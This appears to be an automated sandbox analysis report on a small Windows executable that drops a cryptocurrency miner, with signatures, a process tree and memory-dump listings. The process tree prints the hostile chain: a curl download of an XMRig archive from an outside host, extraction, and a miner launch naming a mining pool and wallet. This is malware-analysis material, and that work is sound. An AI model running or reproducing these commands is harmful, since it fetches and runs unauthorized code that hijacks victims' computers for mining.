Resubmissions
13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
240313-knhtpaah681013/03/2024, 08:44
240313-km8cysha9v1013/03/2024, 08:43
240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
240312-wg7p1sfc5y1012/03/2024, 17:53
240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1799s - max time network
1792s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy - Copy (2) - Copy.exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2) - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2) - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rkBn7Vae.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
rkBn7Vae.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/2692-57-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-56-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-92-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-91-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-26-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-27-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-28-0x0000021E70DB0000-0x0000021E70DD0000-memory.dmp
memory/2692-29-0x0000021E70DD0000-0x0000021E70DF0000-memory.dmp
memory/2692-30-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-31-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-32-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-34-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-35-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-36-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-38-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-39-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-40-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-41-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-42-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-45-0x0000021E70DD0000-0x0000021E70DF0000-memory.dmp
memory/2692-44-0x0000021E70DB0000-0x0000021E70DD0000-memory.dmp
memory/2692-43-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-46-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-47-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-48-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-49-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-50-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-51-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-52-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-53-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-54-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-55-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-59-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-24-0x0000021E70D50000-0x0000021E70D70000-memory.dmp
memory/2692-25-0x0000021E70D90000-0x0000021E70DB0000-memory.dmp
memory/2692-58-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-73-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-61-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-62-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-63-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-64-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-65-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-66-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-67-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-68-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-69-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-70-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-71-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-72-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-60-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-74-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-75-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-76-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-77-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-78-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-79-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-80-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-81-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-82-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-83-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-84-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-85-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-86-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-87-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-88-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-89-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/2692-90-0x00007FF718D70000-0x00007FF719874000-memory.dmp
memory/4752-5-0x00007FFB4F370000-0x00007FFB4FE31000-memory.dmp
memory/4752-0-0x0000000000D10000-0x0000000000D18000-memory.dmp
memory/4752-7-0x00007FFB4F370000-0x00007FFB4FE31000-memory.dmp
memory/4752-23-0x00007FFB4F370000-0x00007FFB4FE31000-memory.dmp